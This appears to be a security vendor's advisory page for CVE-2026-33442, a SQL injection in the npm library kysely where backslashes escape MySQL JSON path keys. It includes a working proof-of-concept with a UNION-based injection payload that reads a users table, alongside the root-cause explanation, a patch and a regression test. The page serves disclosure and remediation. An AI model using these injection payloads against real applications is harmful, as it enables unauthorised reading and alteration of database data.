Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-33442 kysely

HIGH

CVE-2026-33442 is a high-severity (CVSS 8.1) SQL Injection vulnerability in kysely. A fix is available for kysely — see the affected versions and patch details below.

Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.

Also known asGHSA-fr9j-6mvq-frcv
Published
Mar 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33442.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-33442 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

932other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
kyselynpm
12.0Mdownloads / week

Description

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (''') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

  1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

  2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

  3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

  4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

  1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
  2. The full compiled path becomes: '$.\'' OR 1=1 --'
  3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
  4. The second ' now terminates the string literal
  5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

Impact

  • SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
  • Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
  • Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
  • Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
  • Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Recommended Fix

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmkysely0.28.12&&< 0.28.140.28.14npm install kysely@0.28.14

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for kysely, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update kysely to 0.28.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33442 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33442 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-33442. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. ## Details When a user calls `.key(value)` on a JSON path builder, the value flows through: 1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`. 2. During
O3 Security · Impact-Aware SCA

Is CVE-2026-33442 in your dependencies?

O3 Security finds CVE-2026-33442 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-33442: kysely (High 8.1) | O3 Security